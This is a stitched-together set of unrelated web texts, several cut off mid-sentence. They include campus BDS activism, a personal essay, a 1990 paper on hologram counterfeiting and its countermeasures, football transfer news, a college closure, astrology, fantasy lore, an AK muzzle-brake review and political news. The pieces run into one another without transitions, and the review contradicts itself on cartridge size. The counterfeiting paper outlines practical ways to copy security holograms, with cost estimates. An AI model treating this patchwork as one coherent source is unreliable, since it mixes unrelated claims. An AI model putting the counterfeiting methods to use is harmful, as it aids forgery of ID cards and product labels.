But some students believe that the the recent BDS victories are helping them challenge the landscape of repression. “Students are winning the battle against repression and silencing on campus,” said Tristan Laing from the University of Toronto. “Even the mayor of New York told pro-Israeli supporters trying to shut down a BDS event to ‘shut up.’ However, an issue less discussed is the silencing specifically of Arab and Muslim groups who are particular targets for normalization, and particularly vulnerable to repression and silencing because of racism and Islamophobia.”
Repression on campus is reinforced by the position of Stephen Harper’s federal government. Jason Kenney, Harper’s minister of citizenship, immigration and multiculturalism, has repeatedly attacked Israeli Apartheid Week, alleging this month that it was “toxic” and at odds with Canadian values of “tolerance, mutual respect and understanding” (“Minister Kenney issues statement regarding Israel Apartheid Week,” Citizenship and Immigration Canada, 4 March 2013).
Saying “no”
“We have to take the issue back … to say, no, Canadians do not support illegal detention, occupation, apartheid. Canadians say no, even if our officials won’t speak for us,” said Nusaiba al-Azem of Solidarity for Palestinian Human Rights at the University of Western Ontario.
Student organizers also drew attention to the growing Idle No More movement, which binds together indigenous people across Canada. A number of Palestine solidarity groups have expressed their support for this movement.
Haneen Karajah of Solidarity for Palestinian Human Rights at the University of British Columbia said, “We need to work on cross-movement solidarity. It’s very important for us to connect with indigenous movements, because we relate to each other on more than one level. As Palestinians living here, it’s very important to work with and support indigenous communities to reconcile the fact that we are also settlers here on their land.”
Charlotte Kates is a social justice and Palestine solidarity activist, based in Vancouver, on unceded Coast Salish Territories. She serves on the organizing committee of the US Campaign for the Academic and Cultural Boycott of Israel and writes about justice, Palestine, prisoners and international solidarity.My name is Kunthy Nouv. There are a number of ways one can pronounce my name, but how I choose to pronounce it is (Gon’–T). Since I can remember, so many of my teachers and peers has had trouble with pronouncing my name. For 19 years, I’ve said my name as I would any of these words; with an English dialect, as many people would while reading English. Then it was pronounced (Kun–Thee). That was before I began to say it as it should have been said.
Looking at my name reminds me of Tobi from Roots. That was not always his name. I hadn’t realized at the time, but I was beginning to conform into a way of life I knew less about than how I was brought up, and growing up Buddhist in America … well I was all sorts of confused. How do you carry your self as a young Khmer son growing up in America? There was no instruction manual for that. All I knew was if I didn’t listen to what grandma told me, then repercussions were inevitably delivered with a pinch to the arm or a knuckle to my big ol’ head.
When I was in the streets, grandma tried hard to keep an eye on me. That lady would follow me in her ’93 Honda Civic when I would take the metro to the community center to play ball with friends. She would chase all the girls away. During my youth I allowed myself to be misguided. I allowed myself to believe that hurting others would gain me respect. I have only learned within the last two years that fear and respect are two very different things. As I began to see all the hurt and pain I inflicted upon others, and in my own life, I realized the morals and values of the streets I once upheld could not resonate with who I was becoming. Who I was meant to be.
I was booked into county jail in 2014. During my year-stay I became painfully aware of a greater “need.” |
-ltd.com Published in Proc. SPIE Vol. 1210, pp. 66-76, Optical Security and Anticounterfeiting Systems, William F. Fagan; Ed. (SPIE Homepage) April 1990. ABSTRACT A brief survey of simple hologram counterfeiting techniques and appropriate countermeasures is given and specific cases of successful and unsuccessful counterfeiting attempts are discussed. 1. INTRODUCTION It is commonly believed that holograms cannot be counterfeited. As a matter of fact, it is rather easy to counterfeit the holograms that are commonly used today in security applications, and holograms have been counterfeited more than once. There are several straightforward, simple, and inexpensive ways to counterfeit the kinds of holograms currently used in security documents and credit cards. This is not news to the holographic industry, but it may be a revelation to some of the users and potential users of security holograms. That is the bad news. The good news is that there are countermeasures against hologram counterfeiting which can be extremely effective. Holograms are already well entrenched in the security printing business, and they do add incrementally to the challenge faced by the counterfeiter. This paper describes the most obvious and effective methods for counterfeiting holograms, and describes a particular holographic security device which appears to be immune to these counterfeiting methods. 2. HOLOGRAM COUNTERFEITING: THE PROBLEM The problem of hologram counterfeiting includes these aspects: * the incentive for counterfeiters
* methods, cost, and countermeasures for hologram counterfeiting 2.1 The Incentive for Counterfeiters If a hologram is the key feature used to judge the validity of an identification card or a product, then the counterfeiter's incentive is directly related to the profits he can make by counterfeiting the hologram. Two examples will suffice to show that the financial rewards to a hologram counterfeiter can be enormous: on the level of tens to hundreds of millions of dollars. 2.1.1 Example 1: Whiskey Labels Johnny Walker Scotch Whiskey has recently carried a holographic label as a counterfeit deterrent. Roughly 50 million bottles are sold in a year. A bottle of this whiskey costs $16, and the cost of producing a bottle of counterfeit whiskey is less than $2. Assuming volume discounts and markups for middlemen, a counterfeiter stands to make $20 million if he can produce a passable holographic Johnny Walker label. 2.1.2 Example 2: Drivers' Licenses A driver's license is for all practical purposes the American national ID card. There are several million people in and out of the country who would like to have a California driver's license as fraudulent evidence of U. S. citizenship. Without going into the politics and philosophy of that situation, we can still estimate the financial incentive a potential counterfeiter will have to duplicate the hologram on a driver's license, if holograms are the key security feature on a driver's license. A good counterfeit driver's license can be worth $500 to $1500. At last count there were over a million illegal aliens in the Unites States. That means there is a potential market in excess of $500 million for counterfeit drivers' licenses. Clearly, there is a large incentive for potential hologram counterfeiters. This incentive is easily enough to overcome even major technical challenges. 2.2 Methods for Hologram Counterfeiting The current methods of hologram mastering and embossing were developed in 1980 in a garage in Santa Clara, California on a budget of roughly $9,000. The methods have been widely published, and there are hundreds of individuals and companies all over the world capable of duplicating the methods. Unfortunately, there are much simpler methods available for the counterfeiter. 2.2.1 Mechanical Copying The simplest method for duplicating an embossed hologram is to use the hologram itself as a mold for producing an embossing die. This is accomplished by removing any adhesive or other coatings from the embossed surface of the hologram, silvering the clean embossed surface, and electroforming a metal such as nickel onto the silver. The electroform is then directly usable as a die for embossing into aluminized polyester or PVC. Counterfeits made this way can be so perfect that no expert will be able to distinguish them from the original hologram. Fig. 1: Typical Holographic Security Label Fig. 2: Removing the Hologram from the Product Fig. 3: Electroplating the Hologram Fig. 4: Separate the Electroform from the Hologram Fig. 5: Trim the Electroform Fig. 6: Use the Electroform as an Embossing Tool Fig. 7: Contact Copying by Reflection Fig. 8: Two-Step Copying--First-Step 2.2.2 Contact Printing Almost as simple as mechanical copying is the method of contact printing. In this case, a copy hologram is made by laying a photoresist coated plate in close contact to the original hologram and illuminating the original hologram through the photoresist plate. Diffracted and undiffracted light is reflected from the original hologram and a nearly identical copy is formed on the photoresist plate. The photoresist plate is then silvered and electroplated with nickel; and the nickel plate is used as an embossing die. Counterfeits made by contact printing are similar enough to the original to pass even a close inspection, though with the right tools an expert may be able to detect them. Fig. 9: Two-Step Copying--Second Step 2.2.3 Two-Step Copying The image in a hologram is optically equivalent to the object from which it was made. It is relatively easy to make a good copy of a hologram by illuminating the hologram with laser light and recording a second hologram of the reconstructed light, then illuminating the second hologram and recording a third hologram using the real image of the first hologram. Counterfeits made by this method are very good. Though an expert with the right tools can detect them, these counterfeits will pass a close inspection by a nonexpert. 2.2.4 Re-Mastering The technology for making holograms from flat artwork or from solid models is widely known. A hologram made by one manufacturer can be approximately replicated by a counterfeiter by simply recreating the artwork, then making a hologram from the artwork. Counterfeits made by re-mastering are rather easily detected upon close inspection if the artwork is sufficiently complicated or detailed. However, it is very rare that security holograms are subjected to close inspection in actual use. 2.2.5 Simulation In some cases it is possible for a counterfeiter to acquire commercially available holograms which roughly resemble a security hologram. These simulations will almost never pass even a cursory inspection. However, it is a fact that even crude hologram simulations have been successfully used by counterfeiters. Too often, a clerk will only look to see if there is a hologram on a card, and will not look to see what image is in the hologram! 2.3 Cost and Effectiveness of Counterfeit Holograms Table 1 shows our estimates of the cost and effectiveness of hologram counterfeiting by the methods discussed above. Effectiveness is on a scale of 1 to 5, with 5 being essentially a perfect copy. Lab cost is the cost of setting up enough equipment to do a good job of counterfeiting. Time is the number of days required to make a counterfeit embossing master from an original embossed hologram. Product Cost is the cost of each embossed counterfeit hologram once the counterfeit embossing master has been made. Effectiveness Lab Cost Time Product Cost Mechanical Copying 5 $2,500 5 days $.05 Contact Printing 4.5 $15,000 7 days $.05 Two-Step Copying 4 $20,000 10 days $.05 Re-Mastering 3 $25,000 20 days $.05 Simulation 1 $ 0 0 days $.25 Table 1: Effectiveness and Cost of Hologram Counterfeiting
One interesting feature of Table 1 is that it indicates that the easiest counterfeiting methods produce the best counterfeits. 2.4 Characteristics that make Holograms Counterfeitable It is important to examine the characteristics that make holograms easily counterfeitable. Holograms without these characteristics will be much more difficult to counterfeit. a) non-variable holographic information: i.e., no information in the hologram which depends uniquely upon the content of the document it protects; b) accessibility of the embossed surface of the hologram to use as an electroforming mold; c) presence of a nondiffusely reflected portion of the illumination light, substantially stronger than the diffracted portion; d) unaltered polarization of the diffracted and reflected light from the hologram; e) ability of the hologram to be reconstructed using standard laser wavelengths; f) no non-holographic information imposed on the light reflected from the hologram; g) no large-angle, short wavelength "covert" image features in the hologram; h) a reasonably uncomplicated image; i) poor cooperation or communication between legitimate hologram manufacturers; j) an uneducated or unobservant user base; k) verification performed by humans. 3. PROPOSED HOLOGRAPHIC IDENTIFICATION CARD The holographic identification card described below is highly resistant to counterfeiting. In particular, it will inhibit the use of all of the counterfeiting methods that have been discussed here. Fig. 10: A Secure Holographic I.D. Card This card uses a hologram which is hot stamped in a pattern consisting of an array of very small dots(3). Over the hot stamping is applied a coating which bonds to the substrate between the dots. Before the hologram is applied, the substrate is printed with variable information. The hologram itself is a stereogram of a well known human face. Mechanical copying is effectively prevented because if an attempt is made to delaminate the coating from the substrate, the hologram is left as a large number of isolated dots which are useless as the basis for making an embossing die. Differential adhesion between the hologram dots and the coating to the substrate will make it extremely difficult to remove the coating and the dots together as a single unit, for example to transfer to another card. Contact copying is effectively prevented because the information printed on the substrate will be recorded in the contact copy. If an attempt is made to make a two-step copy of the hologram, the same problem arises: the variable printed information is recorded at the same time. A photograph cannot be mistaken for a stereogram because the photograph lacks three dimensionality. As is well known in the security printing industry, a human face is very difficult to counterfeit without detection, so re-mastering the stereogram using a look-alike will be risky. Any good look-alike of a famous person would be rather easy for the authorities to trace. Re-mastering is made considerably more difficult by the fact that the hologram itself is a stereogram. Aside from the greater complexity of producing stereograms, the use of a well-known human subject will greatly complicate the counterfeiter's task. Re-mastering and simulation are unlikely to be effective because human beings are exceptionally good at recognizing human faces and noticing small differences between them. 4. CONCLUSION Simple hologram counterfeiting methods and some actual counterfeiting examples have been described, and a new holographic security device has been described which should be immune to the counterfeiting techniques which are effective on most holograms used in security applications today. It is important to point out, however, that the security of an identification card is based in turn on the security of all of the steps leading from the manufacturer to the user of the card. The steps form a chain, and no chain is any stronger than its weakest link. There is no evidence to date that any of the manufacturers of security holograms keep accurate records of the number of holograms that are made or shipped, nor that there are accurate records of the number of holograms that are used or rejected by the card manufacturers. There is no serial numbering on holograms. There is no formal association of security hologram manufacturers through which one manufacturer can avoid unintentionally counterfeiting another manufacturer's holograms. There are several ways to make holograms which can be effective anticounterfeiting devices. However, we strongly urge that hologram manufacturers band together to form an association to provide a basis for cooperation and set standards to improve the security of their products. The best step that users of security holograms can take to ensure the security of the holograms they buy is to insist that their hologram vendors form, join, and support that association. 5. REFERENCES 1. S. P. McGrew, "Countermeasures Against Hologram Counterfeiting," Proc. Optical Security Systems Symposium, Zurich, Oct. 14-16, 1987 2. J. Blyth, private communication 3. S. P. McGrew, U. S. Patent No. 4,589,686 "Anticounterfeiting Method and Device" Welcome | Products / Services | Research | Patents | Publications | Science Education | Links | Contact Us © 1995-2008 New Light Industries, Ltd. All Rights Reserved.
9715 West Sunset Highway Spokane, WA 99224 Phone: 509-456-8321 FAX: 509-456-8351Steven Caulker: Cardiff have shown great faith in the defender
The clubs are believed to have agreed a fee in excess of £8m with Caulker agreeing to terms on a four-year deal.
The 21-year-old told Cardiff's website: "I want to say how happy I am to have signed with Cardiff City. I'm delighted to be here & excited for this fresh challenge.
"I spoke to the gaffer yesterday, liked what he had to say and am excited about the plans he has for the football club.
"You get the sense of excitement from everybody at the club in the build-up to the season's kick-off at West Ham and I'm really looking forward to being part of it.
"I thank Tottenham for everything they've done for me, having been there since I was a kid. But I'm here to back myself up now and show what I can do. This is a fresh start, a new chapter and I'm here to kick on."
He started 18 Premier League games for Spurs last season and spent the previous season on loan with Cardiff's rivals Swansea City, playing a further 26 top-flight games.
He made his senior England debut last November and scored in the 4-2 friendly defeat by Sweden.
Caulker is Cardiff's fourth summer signing and their new record signing, surpassing the £7.5m they paid for FC Copenhagen striker Andreas Cornelius on July 1.
Derby County defender John Brayford and Brentford goalkeeper Simon Moore have also joined the club this summer and boss Malky Mackay is keen on bringing in Toulouse midfielder Etienne Capoue as well.After 23 years of graduating more than 18,000 students, Four-D College — which has a campus in Colton and another in Victorville — announced Sunday evening that it is closing its doors effective immediately.
Nearly 600 students, faculty and staff members will be displaced by the decision, said Linda Smith, a San Bernardino native who founded the school and is its president.
“The (U.S.) Department of Education took a wrecking ball to our cash flow,” Smith said.
Four-D College, which educates students for careers in the health care field, is closing, Smith said, because the Education Department changed the way it reimburses the school from making payments within 48 hours after bills are submitted to 30 to 40 days afterward.
Department of Education officials did not immediately respond to a question posed Friday about why that change was made.
Smith said it was because the school’s accreditation agency, the private Accrediting Bureau of Health Education Schools in Falls Church, Virginia, denied the institution’s application for accreditation renewal in June.
In response to a reporter’s question, Education Department spokesman Al Betancourt wrote “the school is still accredited until the appeal process has been exhausted.”
Smith said the appeals process could take nine months.
“We are currently working a complaint submitted by Four-D College against the accrediting agency,” Betancourt said.
Four-D ran afoul of its accrediting body over what the agency says, in letters to Smith, is the institution’s failure to document placement of graduates in appropriate career fields related to their studies.
This dispute goes back to 2012, documents say.
Smith accused newly hired officials of the accrediting agency as having a vendetta against her, and said the school had not changed its reporting practices since its initial 1996 accreditation for the Colton campus and 2006 for the Victorville campus.
Smith said that Four-D is being held to different rules than similar for-profit health field schools in Ontario and Dallas.
Michael D. White, director of legal and regulatory affairs for the ABHES, said “any information not on the website is confidential and cannot be discussed or disclosed. Neither I nor any other person associated with ABHES can do anything more than refer you to the website.”
“I am devastated as are our top executives and directors. We have 600 individuals who are being displaced,” said Smith, a 1970 graduate of San Gorgonio High School in San Bernardino who says she has a B.S. in nursing from Cal State Long Beach and teaching credentials from Cal Poly Pomona.
She also has an MBA from La Salle University.
In June 2014, Smith was appointed by Gov. Jerry Brown to the board of the California State Assistance Fund for Enterprise, Business and Industrial Development Corp.
Over the weekend, key Four-D staff members worked to prepare certified copies of student transcripts that will be mailed to everyone early this week, Smith said.
Students can use transcripts to enroll in other institutions, she said.
In her career as president and founder of Four-D College, Smith has won awards as the Business of the Year for Health Care Industry in 2013, an Unforgettable Hearts Award in 2014, Unsung Hero in 2010, Pioneer Award in Business by the NAACP in 2004, Women of Distinction Award in 1998, Outstanding Business in San Bernardino County in 1998.
In April, another for-profit school, Santa Ana-based Corinthian Colleges, shut more than 100 campuses across the United States and Canada for an entirely different reason. The U.S. Department of Education fined the group $30 million for misrepresentation.
The Corinthian umbrella included Everest College and WyoTech schools in California, Arizona and New York.The City of Chicago is very rich in street gang history. Many people believe that the origin of the modern day street gang was founded in Chicago. The creation of the People and Folks Nations can be accredited to Chicago, and was well known for organized crime syndicates in the past. Street gangs are a secret underground culture and the gangs are not limited to gender, race, culture, or neighborhood. There are African American Gangs, Asian Gangs, Arabic Gangs, Female Gangs, White Gangs, Latino or Hispanic Gangs. They are on the west side, the north side, the south side and the east side of Chicago. The members can range from a handful in a small neighborhood crew, to thousands for larger gangs. Members can be as young as 10 and as old as 50. Street Gangs are a rich part of Chicago's underworld, they have been around for many years and will continue to be a secret culture among Chicago's Society.Welcome! Did you know you can subscribe to Insight Astrology for free, get weekly insights in your inbox and receive a free introductory ebook? Click here for full info.
On 11th March Mars will conjoin Uranus in Aries, adding its restless, impetuous energy to the already strong and building tension of the Uranus Pluto square.
Those personally affected by the Uranus Pluto square have probably been feeling blocked in the areas of life affected by the transit, or are experiencing delays and difficulties in achieving their aims. It’s as though we’ve been offered one option, to change, but have then been told to sit tight in the waiting room of life while the Lord of Change deals with other cases.
The addition of Mars to this mix, along with the fact that we’re approaching the final exact connection of the Uranus Pluto square, probably has a lot of people feeling anxious and rebellious. There may be a strong urge to blow off everything we’ve been waiting for, jump a plane to Mexico and say to hell with whatever it was the Universe had in mind for us!
Feelings of restriction and claustrophobia combined with restlessness have been known to make cooler heads than ours do very stupid things! Feelings of powerless may prompt you to take action but the time is not yet right and the kind of action you’re likely to take at this moment is probably not going to be wise. The craving for freedom may feel overwhelming but you’ve already come so far and there’s only a short way to go before things begin to shift.
So hold tight and don’t let your ego get in the way. Together Mars and Uranus will want to take on Pluto now! And if left to their own devices they would send in the troops without a proper strategy. But impulsive and ruthless decisions made in the heat of the moment may have long-term repercussions. So stay cool. We need to wait just a little bit longer…
Fortunately Mercury enters Pisces on the same day. Although this can lead to communication problems that when combined with Mars and Uranus in Aries could have the more firey ones among us engaged in warlike arguments over trivial misunderstandings, it also connects us more deeply with our intuitive guidance. This can help keep us settled and on track despite the hysterical urgings of Mars and Uranus.
Working with the Uranus Pluto square in your chart
The Uranus Pluto square makes it’s final exact connection at 15 degrees Capricorn / Aries on 17th March and will then slowly dissipate until 12th May. To understand how this affects you have a look at your chart and see if you have any planets at or around 15 degrees of any sign. Not all will form aspects, but some will. All planets placed at 15 degrees of the Cardinal Qudruplicity (Aries, Cancer, Libra and Capricorn) will be especially affected.
As I’ve mentioned, my natal Venus is at 15 degrees Capricorn, so I’m right there with all those readers who will breathe a long sigh of relief once the Uranus Pluto square is finally passed!
If one of your natal planets is caught up in the Uranus Pluto square check to see which house it falls in. This will tell you the areas of your life most affected by this powerful cosmic configuration. Even if you don’t have natal planets involved you can still see which houses Pluto and Uranus are passing through by checking where Capricorn and Aries fall in your chart.
If none of this makes any sense you can quickly brush up on your knowledge with my eight easy-to-understand free mini lessons, also available as an ebook. Or if that sounds like too much work you can book a personalised astrology reading and I’ll explain it all for you!
Unfortunately I’m not offering any more free mini readings for the moment – although they will return once I get through this lot! Just subscribe to be notified when they’re back :)
Image God of War by Lavneb Designs.
Subscribe for free to receive my ebook Astrology 101 and new astrology insights in your inbox every week Plus get special discounts and freebies offered only to subscribers I will never share or sell your email address. You can unsubscribe at any time directly from your inbox.A Brief History of Drolanar
1st Edition
Written, Compiled and Edited by: Saeed Heirasson
(IV.4990)
Retrieved from the Drana Dynasty Grand Archives
I. Primordial Era - Emergence
Our world was formed out of a primordial chaos between planes. Ancient legends from civilizations long gone tell us of the wild oceans, elemental rifts, and unruly landscape. Incomprehensibly ancient entities walked the earth in the company of gods and angels, who fought against demons and devils, clamoring for dominance of the chaotic plane. It was the magic of the divine, the elemental, and the unholy that seeped into the land, and it wretched in disgust at those who would violate it and twist it, and with all the magic within the worldsoul, the very elements rejected the divine and fiendish, and the land became calm, harmonizing with itself, no longer driven to war by angels and demons. In this calmness, mortals emerged, and the elementals of old hid themselves away within the world. In their seclusion, they named the plane Drolanar: “Lands Once Drowned in Sorrow”
II. Creation Era - The Dawn of Mortal Life
Ithlormest gazed upon the plane and saw that life was in short supply. He descended to the realm and walked among the mortals for some time, finding beauty in them. The elementals came to him, questioning his presence. He told them of his love for life on Drolanar, and he wished to present a gift. His form became like a high dragon with iridescent scales that glittered like gems. From these scales, all of dragonkind was born, chromatic, metallic, and dragonborn alike.
In like manner, Garmadon also visited the plane, and finding solace in the rocky terrain of the mountains, he forged the dwarves out of stone, showing them how to carve and mine, how to forage for themselves in the deep caves, and how to build mechanisms few other races could.
And so Allahita of the Fey, also known as the Deer God to her most devout, found serenity in the forests, and out of the wood she created the Elves, physical siblings to the spiritual dryads. However, Morgluk, the Stalking Shadow, eternal hunter of the Deer God and her Shadowfell counterpart was not far behind. Becoming jealous of the elves’ reverence of the Deer God, he took fire and mud and created goblins, fierce and vicious things with a hatred for elves.
Maksudra was drawn to Drolanar by the clash between the elves and goblins; she found it pleasing, and so took the fires of war and the chill wind of death, creating terrible cyclones of indulgent flesh and violent blood, known to us as the orcs.
We humans seem to have been created by three gods working together, birthing the most divine race, and regrettably thus, the most sinful. Known together as the Sovereign Trinity of Dransalko, three gods acting in concert. Dran is the head of the trio, calm and level-headed, the embodiment of logic and the mind. Sal is the strength of men, their resolve and toughness, the embodiment of physicality and the body. Finally, Ko represents the moralities and kernels of self-knowledge, the embodiment of the soul.
A particularly vicious orc tribal leader begins uniting other tribes under himself, Mogdral, the War leader. Slaughtering his opposition with his bloodied axe, Koltigraak, some say it was given to him by Maksudra herself, granting him immense strength and made him feared by all who opposed him.
An aside of note: the curious gnomes appear to have simply hopped right out of the fey. They don’t appear to have much in the way of religious inclination, simply following the religion of other major populations in their geographic vicinity.
III. Violent Era - War Ravaged Lands
As language emerged among sapient creatures like the elves and the humans, so did hunting and gathering, basic mathematics, and primitive writing. Observation of the solar, lunar, and stellar cycles produced timetables that helped guide migratory patterns and the first calendars were made.
The elves found themselves filled with wanderlust over the centuries, and many traveled far from their citadel, arriving upon the coast of Heijasan (known as Helasan to the Goblins who followed them there, continuing their conflicts of old).
Since this is a brief history, I can only mention events such as the Cataclysm War, the Plunder of Athragot, the discovery of the Lich Empire beneath Daug’sorol, the Sinking of Rantaria, Geila’s Demise, the rise of the Whisper Queen, the Eruption of Antioc, the Empty War, the Shattering of Malak’s Shield, the twelve swordsman of Xerophax, and so many more. For detailed accounts of these histories, certainly there are tomes and volumes abound to be research and rediscovered. Certainly, local elders and archives might serve you better than I ever could in knowing the history of your land, dear scholar.
Many technologies were developed in this era as well: siege weapons, the construction of fortresses, improved weapon-making at forges, and new armor designs emerged. Dwarven artificers, smiths, and alchemists came together to create what is perhaps one of the most marvelous achievements: the living soldiers known as warforged. The mastery of artificial life gave them dominance over the mountainous regions the would become the esteemed Kibadin Republic. However, as per usual, such magical knowledge was lost in fires of war, conflict, jealousy, and intolerance. As war subsided and kingdom boundaries were drawn with gallons of blood, the dwarves cast out the warforged, seeing them as taboo, as signifiers of savagery no longer fit for a civilized race like the dwarves believed themselves to be. Many warforged who wished to stay amongst their creators joined the ranks of the miners, and it was through their concerted efforts in the creation of an empire rather than the destruction of empires that the dwarves discovered metals and minerals commonly used today.
IV. Progressive Era - Technological Innovation
The holy wars begin, each area of human inhabited lands fought for who they believed to be the true gods to be worshiped, the followers of King Alfred Drana who fought for the Sovereign Trinity, win the holy wars and the Drana Dynasty begins, the bloodline of Alfred Drana has been unbroken to this day. The Dynasty’s rule expands through the use of force and religious crusades. Once the wars have calmed, and the dynasty reached the sea, we began working on ways to cross the vast sea with ease, finally creating the first large scale trade ships, in search of wealth in distant lands.
Kibadin Republic forms when many communities of dwarves inside the Kibadin Craigs decide to work together for the betterment of the masses, electing their first leader: Prime Dulga Stonefoot. The republic expands through vast mining operations, soon reaching the sea, and opening trade between the two kingdoms.Most times I have an idea. Also most times what I think is totally different from the other person’s opinion. And here is where the debate starts and everyone fights for their own opinion. This is why this question should be converted to: “Tell me what you think you understood, so I can tell you how you got it wrong”.
Points of view differ and everyone draws their own conclusions. Most times there are no right or wrong conclusions, just different approaches, different solutions, prioritization, experience, skills. There are a lot of different ways to get to the same result, it’s just a matter of what path you want to take to get there.
The most important thing is to try and put yourself in the other person’s shoes, to understand their point of view, the solution they chose and see what’s to learn from that. Each insight might bring a different light on what you believed and offer new perspectives. All it takes is just some empathy and an open mind.
Seeing things through the eyes of someone else might open your own.As a longtime fan of the AK in all its incarnations, I’m always on the lookout for accessories that will maximize the capabilities of these popular rifles. One of the easiest modifications to add is a good muzzle brake, and I recently got a chance to try out the Manticore Arms NightBrake in 14×1 left hand thread for the 7.62x39mm AKM.
Impressions
Upon receiving the NightBrake from the awesome guys at Manticore Arms, I was immediately impressed by the precision machine work and attention to detail evident in the ports and contours of this sleek-looking, business-like muzzle device.
Machined from 8620 steel bar stock and finished in a deep black oxide for a lifetime of use, the Night Brake comes with a high temperature silicon o-ring that allows you to snug the brake down tight with no wobble or play. This is unlike many other 14x1LH muzzle devices, which sometimes refuse to fully tighten and tend to rattle a bit after installation. It also features good sized wrench flats that allow the user to tighten or remove the brake from barrels with less than perfect or heavily fouled muzzle threads.
According to the listing on the Manticore Arms website, the NightBrake has eighteen ports in the upper 270 degrees of the device which use the escaping propellant gases to reduce recoil and muzzle rise. The bottom center portion of the brake is un-ported to reduce dust kick up and muzzle signature. The NightBrake is clearly marked with “MB” on the underside portion, indicating that it is a 922r compliant U.S. made part, an important factor for those living “behind enemy lines” in states with strict “assault weapons” laws governing modifications and muzzle attachments.
Installation
Installing the NightBrake on my Maadi MISR-SA was a snap, and the silicon o-ring helped take all the play out of the brake, ensuring a snug fit with no rattling. The brake screwed right onto the muzzle threads by hand, and I needed no tools other than a small pin punch to hold down the muzzle detent while I tightened the brake down against the front sight base.
Once installed, the NightBrake only extends a little more than an inch and a quarter past the muzzle, and definitely adds a very aggressive, dare I say, tactical look to the old reliable AKM.
On the range
I’ve used the traditional AKM slant brake on my Maadi rifle for several years, and while serviceable, it leaves a lot to be desired in the recoil reduction department, especially considering the fact that my rifle has a Romanian wire folding stock that tends to accentuate felt recoil. With that in mind, I was very interested to see if the Night Brake would make a difference in the shooting characteristics and ultimately make this rifle more pleasant to shoot.
At the range, I set out to put the NightBrake through its paces using Brown Bear lacquer-coated 123 grain 7.62×39 full metal jacket loads. The first thing I noticed after a few rounds was that my jawline wasn’t being thwacked by the wire stock anymore. The recoil of the rifle was more of a straight push back into my shoulder with the NightBrake, with a lot less upward movement of the rifle than I experienced with the old style slant brake. It was thus a lot more pleasant to shoot.
As a bonus, accuracy improved as a result of the reduced felt recoil. The increased comfort level was the greatest contributing factor to good shooting with the wire-stocked Maadi, in that I didn’t have to “brace for impact” every time I pulled the trigger. The smooth, push-back recoil the rifle now delivered contrasted significantly against to the formerly sharp recoil, and I was able to shoot as long as the light lasted without any discomfort at all.
In the right lighting conditions, you can see the propellant gases venting up and outward from the NightBrake, proof positive that the brake is doing its job as designed.
Conclusions
Despite the name “Night Brake,” the device does little to hide the flash of escaping propellant gases out of the ports surrounding the muzzle, but that’s not what this accessory was designed to do, anyway. It’s a highly effective muzzle brake specifically designed to do one job — manage recoil out of the 7.62x93mm AK platform, and it does that job extremely well!
For those more interested in flash suppression, Manticore Arms also makes several muzzle devices designed to reduce or eliminate muzzle flash signature, which is especially handy of you participate in night shoots or low light/no light training.
There are tons of products out there designed to improve the shooting characteristics of the AK platform in one way or another, and muzzle devices of every conceivable description made to fit these popular rifles, but as far as I’m concerned, the Manticore Arms NightBrake is as good as it gets in terms of recoil management, quality workmanship and unbeatable good looks.
This product retails for about $49.95.After 15 years serving Athens, Five Star Day Cafe has closed its doors.
We sincerely thank you for all the support and love we have been given through the years. Five Star has been truly blessed with some of the most amazing people to pass through our copper-plated door.
To the creative bunch in the kitchen, so many of whom have gone on to open your own neighborhood kitchens, we thank you all for sharing your family recipes, your love of cooking, and your music.
Thank you to our counter staff, always quirky, having just the right knack for making new folks feel at home, tattoos, piercings and all. Thank you for letting customers know what to do as they walked in, wondering how this tiny place works, adoring you and our little cafe by the time they left.
Thank you to our customers, who braved long lines out the door, trusted there would be a seat for them at the end, balanced their drinks, held their kids close, assured their visiting mom & dad, patiently waited through metal music on sunday brunch, squeezed in tight to a table, passed the hot sauce & vinegar to a stranger, made friends, and left feeling full - of soul food and love. We thank you sincerely for your enthusiastic support through these years.
It has been a privilege to serve you, Athens. We hope to see you somewhere again soon.The Global Precipitation Measurement (GPM) Core Observatory, a joint Earth-observing mission between NASA and the Japan Aerospace Exploration Agency (JAXA), thundered into space at 10:37 a.m. PST Thursday, Feb. 27 (3:37 a.m. JST Friday, Feb. 28) from Japan.
The four-ton spacecraft launched aboard a Japanese H-IIA rocket from Tanegashima Space Center on Tanegashima Island in southern Japan. The GPM spacecraft separated from the rocket 16 minutes after launch, at an altitude of 247 miles (398 kilometers). The solar arrays deployed 10 minutes after spacecraft separation, to power the spacecraft.
"With this launch, we have taken another |
“We don’t want to be in a European Union that presides over a declining part of the world.”
Following talks with the French Prime Minister, he added: “There is a deal to be done…it’s not going to be straightforward, it’s not going to be easy…but it is absolutely do-able.”
Mr Osborne said that he had accepted that some of his Conservative MP colleagues would vote to leave the EU, regardless of the renegotiation.
However, he said he was confident that the majority of the British public would ultimately back a renegotiated EU which led the country “to be in Europe, not run by Europe”.Gomaa Amin is understood to have been made head of the Islamist organisation last week following the arrest of his predecessor in Cairo by Egypt’s military rulers.
Mr Amin, 79, had flown to London about two months ago for medical treatment and as a result escaped detention when the army seized power in a bloody coup.
He is now residing at an undisclosed address from which he is trying to orchestrate the Muslim Brotherhood’s response to the coup.
The presence of Mr Amin in London is a potential headache for British authorities who may be obliged to provide protection for such a senior and controversial figure.
The Muslim Brotherhood supports a caliphate, a unified Islamic state under Sharia law, and has been accused of fuelling religious tensions in the Middle East, particularly with the Christian minority.
Attacks on Christians in Syria and Egypt are highlighted in a new interview with Lord Sacks, the outgoing Chief Rabbi, who spoke of his grave concern for the religious minority.
“I think this is a human tragedy that is going almost unremarked,” Lord Sacks says in an interview with the Telegraph.
“I don’t know what the name for this is, it is the religious equivalent of ethnic cleansing. We are seeing Christians in Syria in great danger, we are seeing the burning of Coptic churches in Egypt.
“There is a large Coptic population in Egypt and for some years now it has been living in fear. I think sometimes Jews feel very puzzled that Christians do not protest this more vociferously.”
Lord Sacks’s comments - while not directly aimed at the Muslim Brotherhood which describes itself as a non-violent organisation - will turn the spotlight on the Brotherhood’s Egyptian leaders, who appear to be making the UK their base in exile.
There will may be concern that Mr Amin’s residency in London will attract militant Islamists. In the 1980s and 1990s, Britain largely operated an 'open-door’ policy allowing extremists to live in exile in London to escape persecution from authoritarian regimes in the Arab world.
So-called 'preachers of hate’ including Abu Qatada, Abu Hamza and Omar Bakri Mohammed used London as a base to radicalise young Muslims, who went on to commit or attempt terrorist atrocities both here and abroad.
Supporters of the Muslim Brotherhood say it is wrong to liken the group to other Islamists which support al-Qaeda and other terrorist organisations.
